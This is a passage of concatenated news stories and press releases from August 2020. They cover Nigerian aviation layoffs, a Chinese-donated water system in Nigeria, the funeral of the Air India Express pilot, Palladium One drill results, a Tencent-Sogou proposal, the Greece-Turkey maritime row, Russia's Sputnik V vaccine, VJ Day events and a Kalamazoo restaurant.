Royal Hospital for Women in Australia. The wife of Snap CEO Evan Speigel explained how they reacted to the coronavirus pandemic, revealing they personally donated to 29 organizations. In addition Kora is part of the BeautyUnited initiative for first responders in America and Australia. Kora has used their platform to support social issues as well, donating to the Equal Justice Initiative, Black Lives Matter and the NAACP. Balance: Miranda says she takes an 80/20 approach to life, explaining 'I'm like 80 percent good girl and 20 percent naughty' Though she's definitely an overachiever, the former model says she approaches all things in moderation. 'You can eat lots of fresh fruits and vegetables and organic produce, but being happy and enjoying that food with others is just as important,' Miranda said. 'I apply that in all areas of my life. I'm like 80 percent good girl and 20 percent naughty.' Kerr knows that passion is important, taking to heart advice her mom gave her as a child. 'When I was little, she said two things that stuck with me: "Let your little light shine" and "If you're going to do something, do it right." 'Every day, I think of those two things: Am I letting my light shine? Am I giving this 100 percent? Because if I'm not, I'm not gonna bother doing it.' Air Peace will recall some of the pilots it sacked after the intervention of the aviation minister, Hadi Sirika, an official statement noted. The airline laid off some of its pilots due to the economic impact of the COVID-19 pandemic. Nigerian airports were shut for over three months for both domestic and international flights, except for essential flights. That affected the indigenous airline which then laid off some of its staff and pilots. The sack has put the airline in confrontation with the National Association of Airline Pilots and Engineers (NAAPE). On Tuesday, Mr Sirika called a meeting between the airlines management and the leadership of NAAPE in his office in Abuja. According to a statement signed by the ministrys spokesperson, James Odaudu, a verbal agreement was reached after the dialogue. Allen Onyema, the chairman of Air Peace, reportedly agreed to the ministers appeal for the recall of the maximum number of pilots that the airline can accommodate without going under. Air Peace Airlines, Allen Onyema [PHOTO CREDIT: BBC] In their presentation, NAAPE, led by its chairman, Galadima Abednego, reportedly said that some missteps could have been made in the course of the standoff between the airline and the union. It appealed to the minister to intervene in order to resolve the impasse. He said as a union, it was a painful thing to see a large number of their members thrown into the labour market and appealed to employers of labour to see the union as a partner and not an adversary. On his part, Mr Onyema reportedly expressed his sadness and disappointment over what he called the ingratitude of some of the airlines pilots after everything was done to make them comfortable on their jobs. He said Air Peace had trained over 80 pilots and an equal number of aircraft engineers, giving its staff the best remuneration package within the sector only for them to disappoint at a time their understanding was needed. He, however, commended Mr Sirika for providing the required leadership to the industry and promised his full cooperation in ensuring the growth of the aviation sector in Nigeria. Mr Sirika in his remarks called for the understanding of everyone, especially the labour unions, on the prevailing situation in the aviation industry, saying it was not the time for unnecessary upheavals. He commended Mr Onyema for his enormous contributions in developing the industry and appealed to him to recall the maximum number of the sacked pilots that the airline can comfortably accommodate in the prevailing circumstances. He called on all stakeholders in the aviation industry to put all hands on deck in ensuring rapid recovery from the effects of the COVID-19 pandemic. Nigerian airports were last month opened for domestic flights while international flights are still suspended. This is an important project for Kuali township and its surrounding areas, putting an end to the issue of water shortage, said Estu Shaban Audu Nyizazo III, chief of the Nigerian township. He made the remarks when introducing a water supply system donated by Chinese enterprise CGC Overseas Construction Group (CGCOC) that started operation two years ago. Children play around a well in Kwali, Nigeria when CGCOC employees clean the well. Photo: courtesy of the CGCOC Everything about the system has been going well and the clean water will give us a great Corban this year, Dogo Kwali Gambo, the chief geologist of Kwali Area Council recently told the CGCOC Nigeria Company over the phone. The water supply system was proposed by Ye Shuijin, general manager of CGCOCs Nigerian branch, when the Minister of the Nigerian Federal Capital Territory Administration Muhammad Bello inspected the CGCOC Water Co., Ltd. three years ago. The town of Kwali had two small water plants built in the late 1980s. However, they werent able to offer constant water supply due to poor maintenance and became abandoned because of sand production and tube breakage. The 600,000 residents in Kwali had lost their fixed source of drinking water ever since, and the water shortage was even more severe in summer, said a Nigerian employee of the CGCOC in charge of public relations, adding that water supply became the most pressing problem for the town. Nyizazo III introduced that most of the privately drilled wells were shallow, so the water was always easily contaminated in the rainy season. Besides, the high maintenance and diesel price for generators were also a problem, he added. To offer clean water for local residents as soon as possible, the CGCOC decided to transform the two existing water plants and upgraded them with an automatic solar-power system. The company also installed new tubes to connect villages and opened more stations for residents to fetch water. In just 45 days, the project, commencing in early October, 2017, installed 4,400 meters of tubes, drilled 5 wells, built 5 automatic solar-power impounding reservoir, and established 29 water-fetching stations in major places and main roads. The new system supplies 160 cubic meters of water each day, which is able to meet the demand of 10,000 people. It needs no manual operation and consumes no material, even in regular intensity of sunlight, which is both environmentally friendly and energy-saving. This is a special gift to Kwali by the CGCOC, said Bello during the completion ceremony of the project, after taking a sip of the water that ran out of the system. We had to pay at least 300 naira ($0.78) for a bucket of water before, which made it 50,000 naira a year for a thrift family of seven, or my monthly salary, said a man surnamed Emmenuel from Kwali. Now we all have clean and healthy water, he added. Umar in his fifties is disabled due to polio, which makes it hard for him to fetch water from afar. We never thought we could have clean water in the past, and now we are helped by the Chinese company. What runs in the water is the friendship from the Chinese people, he told the Peoples Daily. We came to Nigeria in 1983, and our development here could not have been achieved without the assistance from the Nigerian people. Therefore, we shall give back to them today, said Ye, saying donating the water plant is a way for the Chinese enterprise to repay the local people. Wing Commander Captain Deepak Sathe, pilot-in-command of the Air India Express plane that crashed in Kerala last week, was cremated with state honours in Mumbai on Tuesday. Earlier in the day, the chief ministers office said the funeral of the former IAF pilot, who was a resident of Chandivli, will be accorded full state honours. His life has been one that shall inspire many more young pilots to achieve the Sword of Honour and command over the skies, a tweet from the chief ministers office read According to officials from the protocol department of the state government, the state honour was accorded as per the rules laid by the Central government. During the state funeral, mortal remains are draped in the national flag by the state police, followed by a gun salute as per their drill manual. The national flag is later handed over to the family. State does not have its own rules about the state funeral. We follow the laid procedure by the ministry of home affairs, an official said. According state honours is according to the discretion of the chief minister. State funerals were conferred earlier to Shiv Sena founder Bal Thackeray, Vipassana guru Satyanarayan Goenka, religious leader Syedna Mohammad Burhanuddin, poet Mangesh Padgaonkar, actor Sri Devi, among others in the recent past. Tributes to Sathe were paid by members of parliament Poonam Mahajan, Priyanka Chaturvedi, member of legislative assembly Dilip Lande, councillor Ishwar Tawade, Harish Bhandirghe and mayor Kishori Padnekar. A statement from the family read, Deepak Sathe was a loving husband and caring father and we are deeply pained by his tragic demise. He was a family man and loved to spend time with family and friends whenever possible. He was a calm, composed, simple, and genuine person who persistently imbued happiness in people around him. He was friendly and warm with friends and acquaintances alike. He was careful and meticulous in his ways, and always pursued excellence. He instilled in the children the importance of an honest days work, and a good nights sleep. He infused in us a love for sport and the outdoors, the inquisitiveness to try novel experiences and an enthusiasm to explore new lands and varied cuisine. He will remain in our hearts forever. The flight from Dubai with 190 people, including a six-member crew, overshot the tabletop runway during landing at the Kozhikode airport in heavy rain on Friday, killing 18 people, including both pilots. Sathes body was flown into the city on Sunday BEIJING, Aug. 11, 2020 /PRNewswire/ -- Sogou Inc. (NYSE: SOGO) ("Sogou" or the "Company"), an innovator in search and a leader in China's internet industry, today announced that the special committee (the "Special Committee") of the board of directors of the Company (the "Board") has retained Duff & Phelps, LLC as its independent financial advisor. The Special Committee was formed to review and evaluate the previously announced non-binding proposal (the "Proposal") included in a letter that the Board received on July 27, 2020 from Tencent Holdings Limited (including its affiliates, "Tencent"). Under the Proposal, Tencent proposed to acquire all of the outstanding ordinary shares, including ordinary shares represented by American depositary shares ("ADSs"), of Sogou that are not already owned by Tencent for US$9.00 in cash per ordinary share or ADS (the "Proposed Transaction"). The Company cautions its shareholders and others considering trading the Company's securities that neither the Board nor the Special Committee has made any decision with respect to the Company's response to the Proposal. There can be no assurance that Tencent will make any definitive offer to the Company, that any definitive agreement relating to the Proposal will be entered into between the Company and Tencent, or that the Proposed Transaction or any other similar transaction will be approved or consummated. The Company does not undertake any obligation to provide any updates with respect to this or any other transaction, except as required under applicable law. Safe Harbor Statement This announcement may contain forward-looking statements. Statements that are not historical facts, including statements about the Company's beliefs and expectations, are forward-looking statements. Forward-looking statements involve inherent risks and uncertainties. The Company cautions you that a number of important factors could cause actual results to differ materially from those contained in any forward-looking statement. There can be no assurance that Tencent will make any definitive offer to the Company, that any definitive agreement relating to the Proposal will be entered into between the Company and Tencent, or that the Proposed Transaction or any other similar transaction will be approved or consummated. About Sogou Sogou Inc. (NYSE: SOGO) is an innovator in search and a leader in China's internet industry. With a mission to make it easy to communicate and get information, Sogou has grown to become the second-largest search engine by mobile queries and the fourth largest internet company by MAU in China. Sogou has a wide range of innovative products and services, including the Sogou Input Method, which is the largest Chinese language input software for both mobile and PC. Sogou is also at the forefront of AI development and has made significant breakthroughs in voice and image technologies, machine translation, and Q&A, which have been successfully integrated into our products and services. For investor enquiries, please contact: Jessie Zheng Sogou Investor Relations Tel: +86 10 5689 8068 Email: [email protected] For media enquiries, please contact: Serena Liu Sogou Public Relations Tel: +86 10 5689 9999 (61958) Email: [email protected] SOURCE Sogou Inc. Related Links www.sogou.com Vancouver, British Columbia--(Newsfile Corp. - August 11, 2020) - Palladium One Mining Inc. (TSXV: PDM) (FSE: 7N11) (OTC Pink: NKORF) (the "Company" or "Palladium One") is pleased to report the results of the first drill hole to test the eastern extension of the greater than 4 kilometer ("km") long Kaukua South Induced Polarization ("IP") chargeability anomaly (LK20-006). Hole LK20-006 intersected 166.7m @ 1.16 g/t Palladium Equivalent ("Pd_Eq")*, including 63.4m @ 1.88g/t Pd_Eq. LK20-006 is located in an area with no previous drilling and represents a 180 meter step-out east of the nearest Kaukua South drill hole (KAU08-036, Figure 1). The results confirm that the eastern extension of the Kaukua South IP anomaly is the result of near surface palladium-rich sulphide (PGE-Cu-Ni) mineralization, which suggests significant additional open-pit style mineralization remains to be delineated in the greater Kaukua area. Highlights: 166.7m @ 1.16 g/t Pd_Eq , from 43.8m down hole in hole LK20-006 Total platinum-group elements (Pd + Pt + Au), 0.58 g/t Individually by metal, 0.39 g/t Pd; 0.14 g/t Pt; 0.05 g/t Au; 0.09% Cu and 0.10% Ni Including 63.4m @ 1.88 g/t Pd_Eq Total PGE of 1.06 g/t , Individually by metal, 0.72 g/t Pd; 0.26 g/t Pt; 0.08 g/t Au; 0.13% Cu and 0.14% Ni Including 7.8m @ 2.61 g/t Pd_Eq Total PGE of 1.59 g/t , Individually by metal, 1.12 g/t Pd; 0.38 g/t Pt; 0.09 g/t Au; 0.13% Cu and 0.19% Ni , from 43.8m down hole in hole LK20-006 Confirms the eastern extension of the greater than 4 kilometer long Kaukua South IP anomaly is the result of PGE-Cu-Ni sulphide mineralization (Figure 1) of the greater than 4 kilometer long Kaukua South IP anomaly is the result of PGE-Cu-Ni sulphide mineralization (Figure 1) LK20-006 is 180m east of and significantly higher grade than the nearest Kaukua South hole 52.0m @ 1.01 g/t Pd_Eq (0.46g/t PGE), 0.30 g/t Pd, 0.11g/t Pt, 0.05 g/t Au, 0.10% Cu and 0.09% Ni, in hole KAU08-036. The core zone (63.4m @ 1.88g/t Pd_Eq) in LK20-006 is twice as wide as best historic intercept in Kaukua South. 33.0m @ 1.89 g/t Pd_Eq (1.05 g/t PGE), 0.74 g/t Pd, 0.24 g/t Pt, 0.07 g/t Au, 0.17% Cu, and 0.13% Ni, in hole KAU08-035. President and CEO, Derrick Weyrauch commented, "To date, Hole LK20-006 bears the most significant results of the Phase 1 drill program. It is hard to understate the importance of this hole, as it has not only confirmed the eastern extension of the Kaukua South Zone, but intersected a core zone twice as thick as the next best intersection in Kaukua South. Significantly, the mineralization begins only 43m down hole, making it highly amenable to open pit mining. This confirms our belief that Kaukua South has the potential to quickly add tonnes to the 2019 NI43-101 open pit constrained Kaukua resource estimate." Figure 1: Greater Kaukua Area showing IP chargeability anomalies, note the location of LK20-006 and potential >5.5km strike of the Kaukua South Anomaly. Phase 1 drill hole locations showing in (black) and planned drill holes in (red). To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/6502/61308_a57a7bd9341a390b_001full.jpg Figure 2. Cross section showing hole LK20-006. To view an enhanced version of Figure 2, please visit: https://orders.newsfilecorp.com/files/6502/61308_a57a7bd9341a390b_002full.jpg Table 1. Phase 1 Drill Results Zone Hole From (m) To (m) Width (m) Pd_Eq g/t* PGE g/t (Pd+Pt+Au) Pd g/t Pt g/t Au g/t Cu % Ni % Kaukua LK20-001 33.4 66.0 32.6 2.86 1.82 1.22 0.46 0.14 0.23 0.16 Inc. 45.0 61.0 16.0 3.64 2.43 1.67 0.59 0.18 0.27 0.18 Inc. 48.6 49.9 1.3 5.70 3.96 2.78 0.93 0.25 0.41 0.25 Kaukua LK20-002 38.4 71.0 32.7 2.00 1.06 0.70 0.29 0.07 0.15 0.16 Inc. 43.0 53.1 10.1 3.08 1.65 1.07 0.47 0.11 0.26 0.24 Inc. 45.8 47.3 1.5 5.23 2.85 1.82 0.82 0.21 0.49 0.37 Kaukua LK20-003 37.0 75.0 38.0 1.49 0.77 0.52 0.19 0.06 0.10 0.13 Inc. 37.0 57.3 20.3 2.03 1.13 0.77 0.28 0.09 0.14 0.16 Inc. 48.0 49.2 1.2 4.07 2.53 1.75 0.60 0.19 0.29 0.25 Kaukua LK20-004 40.3 68.5 28.2 2.04 1.11 0.73 0.29 0.09 0.19 0.14 Inc. 40.3 53.4 13.1 2.73 1.58 1.05 0.41 0.12 0.24 0.17 Inc. 52.1 53.4 1.4 4.43 2.69 1.83 0.71 0.15 0.38 0.26 Kaukua LK20-005 32.8 69.5 36.8 1.95 1.13 0.74 0.31 0.08 0.16 0.13 Inc. 32.8 41.0 8.3 3.40 2.00 1.38 0.52 0.11 0.29 0.21 Inc. 36.2 37.7 1.5 4.83 2.87 2.01 0.70 0.16 0.39 0.31 Kaukua South LK20-006 Zone** 43.8 210.5 166.7 1.16 0.58 0.39 0.14 0.05 0.09 0.10 Upper Subzone 43.8 62.0 18.3 1.27 0.33 0.21 0.05 0.07 0.13 0.16 Middle Subzone 95.0 158.4 63.4 1.88 1.06 0.72 0.26 0.08 0.13 0.14 Inc. 95.0 116.5 21.6 2.36 1.25 0.83 0.31 0.11 0.18 0.19 And 138.4 146.1 7.8 2.61 1.59 1.12 0.38 0.09 0.13 0.19 Inc. 138.4 139.9 1.6 4.88 3.13 2.09 0.72 0.32 0.40 0.25 Lower Subzone 188.5 210.5 22.0 1.50 0.87 0.60 0.20 0.07 0.11 0.10 Inc. 188.5 198.8 10.4 2.22 1.26 0.85 0.29 0.11 0.18 0.15 And 256.7 257.9 1.2 3.50 1.39 1.10 0.26 0.03 0.11 0.45 Kaukua LK20-007 200.1 241.7 41.6 2.16 1.18 0.83 0.28 0.07 0.16 0.17 Inc. 205.9 213.8 7.8 3.26 2.18 1.53 0.53 0.13 0.21 0.17 Inc. 207.4 208.9 1.5 4.47 2.70 1.72 0.61 0.38 0.42 0.24 *Palladium Equivalent "Pd_Eq" is calculated using metal prices (in USD) of $1,100/oz for palladium, $950/oz for platinum, $1,300/oz for gold, $6,614/t for copper and $15,432/t for nickel as used in the Company's 2019, 43-101 mineral resource estimate on the Kaukua Deposit (see press release September 9, 2019). ** Includes 16.25m of unsampled core given a zero grade. ***Reported widths are "drilled widths" true widths. Estimated to be approximately 90% of drilled width for holes LK20-001-005 & 007, true widths for hole LK20-006 are unknown at this time. **** Grey Italicised values are previously released (see press release July 22 and 28 2020). QA/QC The Phase I drilling program was carried out under the supervision of Neil Pettigrew, M.Sc., P. Geo., Vice President of Exploration and a director of the Company. Drill core samples were split using a rock saw by Company staff, with half retained in the core box and stored indoors in a secure facility, in Taivalkoski, Finland. The drill core samples were transported by courier from the Company's core handling facility in Taivalkoski, Finland, to ALS Global ("ALS") laboratory in Outokumpu, Finland. ALS, is an accredited lab and are ISO compliant (ISO 9001:2008, ISO/IEC 17025:2005). PGE analysis was performed using a 30 grams fire assay with an ICP-MS or ICP-AES finish. Multi-element analyses, including copper and nickel were analysed by four acid digestion using 0.25 grams with an ICP-AES finish. Certified standards, blanks and crushed duplicates are placed in the sample stream at a rate of one QA/QC sample per 10 core samples. Results are analyzed for acceptance at the time of import. All standards associated with the results in this press release were determined to be acceptable within the defined limits of the standard used. Qualified Person The technical information in this release has been reviewed and verified by Neil Pettigrew, M.Sc., P. Geo., Vice President of Exploration and a director of the Company and the Qualified Person as defined by National Instrument 43-101. About Palladium One Palladium One Mining Inc. is a palladium dominant, platinum-group-elements (PGE), copper, nickel exploration and development company. Its assets consist of the Lantinen Koillismaa ("LK") and Kostonjarvi ("KS") PGE-Cu-Ni projects, located in north-central Finland and the Tyko Ni-Cu-PGE and Disraeli PGE-Ni-Cu properties in Ontario, Canada. All projects are 100% owned and are of a district scale. LK is an advanced project targeting disseminated sulphide along 38 kilometers of favorable basal contact. The KS project is targeting massive sulphide within a 20,000-hectare land package covering a regional scale gravity and magnetic geophysical anomaly. Tyko is a 13,000-hectare project targeting disseminated and massive sulphide in a highly metamorphosed Archean terrain. Disraeli is a 3,100-hectare project targeting PGE-rich disseminated and massive sulphide in a highly productive Proterozoic mid-continent rift. The Kaukua deposit of the LK project hosts a pit-constrained resource of 635,600 Pd_Eq ounces of Indicated Resources grading 1.80 g/t Pd_Eq* ("palladium equivalent") contained in 11 million tonnes (@ 0.81g/t Pd, 0.27g/t Pt, 0.09g/t Au, (1.17g/t PGE), 0.15% Cu & 0.09% Ni), and 525,800 Pd_Eq ounces of Inferred Resources grading 1.50 g/t Pd_Eq contained in 11 million tonnes (@ 0.64g/t Pd, 0.20g/t Pt, 0.08g/t Au (0.92g/t PGE), 0.13% Cu, & 0.08% Ni), (see press release September 9, 2019). *Pd_Eq is calculated using the following metal prices (in USD) of $1,100/oz for Pd, $950/oz for Pt, $1,300/oz for Au, $6,614/t for Cu and $15,432/t for Ni. ON BEHALF OF THE BOARD "Derrick Weyrauch" President & CEO, Director For further information contact: Derrick Weyrauch, President & CEO Email: info@palladiumoneinc.com Neither the TSX Venture Exchange nor its Market Regulator (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This press release is not an offer or a solicitation of an offer of securities for sale in the United States of America. The common shares of Palladium One Mining Inc. have not been and will not be registered under the U.S. Securities Act of 1933, as amended, and may not be offered or sold in the United States absent registration or an applicable exemption from registration. Information set forth in this press release may contain forward-looking statements. Forward-looking statements are statements that relate to future, not past events. In this context, forward-looking statements often address a company's expected future business and financial performance, and often contain words such as "anticipate", "believe", "plan", "estimate", "expect", and "intend", statements that an action or event "may", "might", "could", "should", or "will" be taken or occur, or other similar expressions. By their nature, forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause our actual results, performance or achievements, or other future events, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such factors include, among others, risks associated with project development; the need for additional financing; operational risks associated with mining and mineral processing; fluctuations in palladium and other commodity prices; title matters; environmental liability claims and insurance; reliance on key personnel; the absence of dividends; competition; dilution; the volatility of our common share price and volume; and tax consequences to Canadian and U.S. Shareholders. Forward-looking statements are made based on management's beliefs, estimates and opinions on the date that statements are made and the Company undertakes no obligation to update forward-looking statements if these beliefs, estimates and opinions or other circumstances should change. Investors are cautioned against attributing undue certainty to forward-looking statements. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61308 A 12-year-old boy has been rescued after spending two years starving, living off goat feed in an animal shed, while his cruel father and three step-mothers lived in comfort with his 17 siblings in Nigeria. A tip off to a team of human rights lawyers led them on Sunday to an animal shed, where they found the boy, barely able to stand and starving. He was tied to a wooden pillar and had been reportedly living among goats and chickens for two years, according to the BBC. A tip off to a team of human rights lawyers led them on Sunday to an animal shed, where they found the boy, barely able to stand and starving (pictured) According to the head of the rescue team, Hamza Attahiru Wala, the boy's family, including his father and his three wives, were found living in comfort inside the home. A tip off to a team of human rights lawyers led them on Sunday to an animal shed, where they found the boy, barely able to stand and starving The youngster, whose mother is said to have died two years ago, was rushed to a hospital in Birnin Kebbi, where he is being looked after in intensive care. The Public Relations Officer of the rescue team, DSP Nafi'u Abubakar, said: 'Yes our men have arrested a father to an 11-year-old, Jibrin Aliyu, and three wives for allegedly chaining the boy for over two years. 'Our men arrested the suspects on Sunday in Badariya area of Birnin Kebbi Local Government, and the boy is at Sir Yahaya Memorial Hospital as the investigation is till on going to unravel the circumstances behind chaining the boy in animal stall for that period,' Abubakar said. An elder brother to victim reportedly told journalists that the boy suffered from epilepsy and the family chained him to the post to stop him going missing. The brother claimed the boy was only chained up during daylight hours, the Sun Nigeria reported, insisting that he sold his house and car to fund his epilepsy treatment. The boy is in hospital responding to treatment, according to the Sun Nigeria. 'The foreign minister (will) request an emergency meeting of the European Union foreign affairs council,' Greek Prime Minister Kyriakos Mitsotakis' office said Greece wants the EU to hold an emergency foreign ministers' meeting, the prime minister's office said Tuesday amid a burgeoning row with Turkey in the eastern Mediterranean. "The foreign minister (will) request an emergency meeting of the European Union foreign affairs council," Greek Prime Minister Kyriakos Mitsotakis' office said. The row flared Monday when Ankara sent the research ship Oruc Reis off the Greek island of Kastellorizo, where Turkey disputes Greek maritime rights. Marine tracking on Tuesday located the vessel southeast of the island of Crete. It is escorted by a Turkish navy flotilla and shadowed by Greek warships. Turkey has announced the Oruc Reis would carry out activities between August 10 and 23. Energy exploration in the gas-rich eastern Mediterranean is a frequent source of tension between Turkey and a bloc of its neighbours including Greece, Cyprus and Israel. Greek Prime Minister Kyriakos Mitsotakis on Monday conferred with his military chiefs and spoke with EU Council President Charles Michel and NATO Secretary General Jens Stoltenberg. EU foreign policy chief Josep Borrell on Sunday called Turkey's actions "extremely worrying" and a recipe for "greater antagonism and distrust". Stoltenberg urged respect for international law during talks on Monday with the Greek premier. "The situation must be resolved in a spirit of Allied solidarity and in accordance with international law," Stoltenberg tweeted. Search Keywords: Short link: LONDON, Aug. 11, 2020 /PRNewswire/ -- In a timely new partnership, The Human Times is granting Josh Bersin Academy members free access to its new World of Work global HR media intelligence tool. World of Work contains over 30,000 summaries of the latest workforce-related news and trends as reported daily across more than 200 respected international news outlets, including Bloomberg, Wall St Journal, Washington Post, Forbes, Fortune, BBC News, The Economist, Financial Times, Reuters, Personnel Today, The Times of India, South Morning China Post, The Sydney Morning Herald, Le Monde/Le Figaro, Bild, and Die Welt. The database is updated daily, with around 150 new stories added each week. Subscribers can conduct an unlimited number of searches using various criteria, compile annotated reports for sharing with colleagues and clients by email and use the database to generate tailored news for delivery through their own internal and external networks. "We couldn't have a more fitting partner than the Josh Bersin Academy, whose raison d'etre is to connect HR professionals with the latest thinking in a single place," commented Richard Phelps, founder of Human Times. "The real-life examples and data contained in hard news stories help HR professionals win arguments, affect change and inform better HR decision making at this time of radical disruption." "We are delighted to make this important resource available to our members. Now, more than ever, it is important that HR professionals stay up-to-the-minute on the economy, workforce trends, and major employer initiatives around the world." said Josh Bersin, dean of the Josh Bersin Academy. "The World of Work database gives HR professionals the ability to search for news related to today's most relevant topics, such as employment, leadership, diversity or compensation and filter by date, region, or industry sector. It's an important source of news that I use every week." A standard subscription to the World of Work is valued at 235 (or approximately $300). Each story in World of Work is categorized by date, industry, source, region and country. For speedy research through an HR lens, stories are also tagged by over 50 HR topics including productivity, diversity, employment law, learning and development, HR technology, coronavirus, talent management, remuneration, recruitment, analytics, future of work, wellbeing and HR function. About Human Times Since 2016, Human Times news summaries have informed and inspired HR professionals and business leaders across the globe. This unrivalled news archive has become World of Work the world's leading HR media intelligence database. In addition, the Human Times offers four free daily news digests covering North America, the United Kingdom and Europe, the Middle East, and Scandanavia. For more information, visit https://human-times.com/ About the Josh Bersin Academy The Josh Bersin Academy, the world's home for HR, is the first global development academy for HR and talent professionals and a transformation solution for HR organizations. The Academy, which currently has approximately 11,000 members, offers content-rich online programs, a carefully curated library of tools and resources, and a global community that helps HR and talent professionals stay current on the trends and practices needed to drive organizational success in the modern world of work. The Academy currently offers ten programs: People as a Competitive Advantage; Performance Management Reimagined; The Agile Learning Organization; The HR Technology Workshop; Wellbeing at Work; People Analytics; Voices, Values and HR; and The Remote Work Bootcamp. Programs are added on a continual basis; the new Resilience Workshop will be launched in September. Memberships are available to individuals, HR teams, and entire HR organizations. The Academy is created in partnership with Nomadic Learning, a company specializing in integrated digital learning solutions to help individuals adopt new ways of working and transform functions, organizations and businesses. For details and to join, visit www.bersinacademy.com Contact: Andrew Smith at The Human Times [email protected] SOURCE Human Times Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Moscow, Russia Tue, August 11, 2020 19:58 525 6657ac82168da9fa101c8a4066d30d1e 2 World Russia,coronavirus,COVID-19,COVID-19-vaccine,pandemic,coronavirus-testing Free Moscow has dubbed its new coronavirus vaccine "Sputnik V" after the Soviet satellite, the head of the country's sovereign wealth fund said Tuesday, after Russia declared itself the first country to develop a vaccine. Kirill Dmitriyev, the head of the Russian Direct Investment Fund which finances the vaccine project, said Phase 3 trials would start on Wednesday and industrial production was expected from September. "We've seen considerable interest in the Russian vaccine developed by the Gamaleya Institute from abroad," he said, adding that "preliminary applications for over one billion doses" of the vaccine had been received from 20 countries. He said that along with foreign partners Russia was ready to manufacture 500 million doses of vaccine per year in five countries. Dmitriyev also denounced "coordinated and carefully orchestrated media attacks" designed to "discredit" Russia's vaccine. Highlighting Soviet-era cooperation with the United States on space programs, he urged other countries to "enter into a constructive dialogue with us and provide their citizens in the near future with a high-quality and safe drug that actually saves lives and can halt the pandemic." Shimla, Aug 11 : The Himachal Pradesh Cabinet on Tuesday decided to compensate flower growers for losses incurred during the lockdown. The government has also decided to recruit 2,322 people in the Irrigation and Public Health department. The Covid-19 pandemic and lockdown thereafter have resulted in cumulative losses of Rs 15.77 crore to the floriculturists from March to May due to non-transportation of flowers, an official statement said. In order to help the floriculturists, the Cabinet approved the guidelines for providing financial assistance or relief amounting to Rs 4 crore. A government spokesperson told IANS that the Cabinet at its meeting under the chairmanship of Chief Minister Jai Ram Thakur gave approval to appoint 2,322 workers in the Jal Shakti Vibhag. They include 718 para-pump operators, 162 para- fitters and 1,442 multipurpose workers under the Departmental Para Workers Policy to manage 486 drinking water and 31 irrigation schemes of the department. In order to ensure smooth operationalization of National Ambulance Services -- 108, it has decided to make payments over and above the provisions of concession agreements as a special interim measure and stopgap arrangement to employees of GVK-EMRI by enhancing the take home salary of its employees. The Cabinet approved the amendment in Section 3 of the Himachal Pradesh War Awards Act, 1972 for enhancing the grant of War Jagirs from Rs 5,000 to Rs 7,000 annually for all those eligible. T he UK celebrates VJ Day today, August 15 - marking 75 years since Japan's surrender brought an end to the Second World War. Victory over Japan (VJ) Day came more than three months after Victory in Europe (VE) Day, because Japan continued fighting until the US dropped two atomic bombs on the country in early August, killing as many as 226.000. The US celebrates VJ Day several weeks later than the UK, on September 2 - because that was when the official surrender documents were signed. Here we look at what to expect from the VJ Day celebrations in the UK today. Prince Charles and former Prime Minister David Cameron commemorating the 70th anniversary in 2015 / Jonathan Brady/PA Wire Memorial Service Prince Charles and his wife the Duchess of Cornwall are leading a memorial service at the National Memorial Arboretum near Lichfield in Staffordshire, starting at 9.30am. Naval veteran Albert Wills, 92, who served on the warship HMS Indefatigable in the Second World War, will be at the service representing his fellow veterans of the war in the Far East. Hosted by the Royal British Legion, the service will also feature music from the band of the Royal Air Force regiment. The televised service will include a two-minute silence at 11am to remember the millions of people who died in the war. The Red Arrows in June / PA Red Arrows The Red Arrows, the aerobatics wing of the RAF, will conduct a flypast over much of the UK, from Edinburgh and over Belfast and Cardiff to London. The flypast will take place between 11.30am and 5.30pm, although the exact time is yet to be announced. Captain Tom Moore discussion Captain Sir Tom Moore / PA The National Army Museum will host an online discussion at 4pm with Captain Sir Tom Moore and Private Joseph Hammond, both of whom fought in Burma during the war. Mr Hammond, from Ghana served with the 82nd West African Division aged 18. Inspired by Sir Tom, he walked 2km every day for a week straight in his hometown of Accra to raise funds for coronavirus front-line workers and vulnerable veterans. The discussion, which will focus on the former soldiers' own experiences in Burma, will be available to watch here. It will be hosted by National Army Museum curator Dr Peter Johnston. The National Army Museum will also host a debate between historians at 2pm on Saturday discussing the roles of land, sea and air forces in the Far East war, and examine how the war is commemorated. Prince Philip / AP BBC documentary Prince William will feature in VJ Day 75: The Nation's Tribute, a programme about the war in the Far East on BBC One at 8.30pm. The Duke of Cambridge will thank the people who served, while veterans will also talk about their experiences in the programme. Photo montage A series of recent photos of Second World War veterans will be displayed on big screens around the country, alongside pictures of them during the war. Prince Philip - who was on board the warship in Japan where the surrender documents were signed - is among the service people to be featured in the montage. KALAMAZOO, MI -- Channi and Sheetal Singh are working hard to keep serving a community favorite in Kalamazoo -- even during a pandemic. The Singh family opened Saffron, an Indian restaurant on West Main Street in Kalamazoo, in 2003, and 17 years later, the restaurant is enduring the coronavirus pandemic. Many of the restaurants dishes -- which are currently available for takeout -- are inspired by Channis family recipes back in India, Sheetal Singh said in an interview with MLive. The menu items include Saffron tandoori chicken, hearty chicken tikka kebab, marvelous shrimp hussaini, peppery chili paneer and blazing lamb vindaloo. The restaurant also has tandoori bread baked on the walls of a clay oven, drinks such as Indian spiced tea with honey and lemon/cream and an assortment of house cocktails. Saffron is popular with many returning customers. Singh said the dishes are flavorful and made with a lot of spices. We want to use the best and the freshest ingredients we can, and he makes all the dishes to order, Singh said. Channi moved to America in the 1960s and met Sheetal in New Hampshire. She has family in West Michigan and they loved the smaller atmosphere to raise a family, she said. Her husbands family baked in India and the couple knew they always wanted to open their own restaurant. We are very thankful for the Kalamazoo community, Singh said. This is a small town but we have made some amazing friendships, we have made some amazing customers through Saffron. Kalamazoo community is very welcoming. I feel very blessed to be part of this town doing what we do, and we love doing what we do. Saffron was closed for about a month when the pandemic first reached Michigan. It reopened for takeout only once the Singh family saw how long the pandemic may last. Today, despite the lifted restrictions on restaurants, Singh said she and her husband arent quite ready to serve in the dining room and that takeout feels safer. No matter how much precaution we would take, I cannot guarantee that I will be able to keep everybody safe, Singh said of her staff members and their families. The restaurants hours are limited and the buffet isnt open because of coronavirus, but Saffrons loyal customers continue to return for takeout. It makes us very happy making others happy with our food, she said. The restaurant, which is located at 1710 W. Main St., is currently open from 4 p.m. to 8 p.m. Tuesday through Saturday. Call 269-381-9898 to place an order. Also on MLive: Local Eats: Food Dance in Kalamazoo adjusts to coronavirus 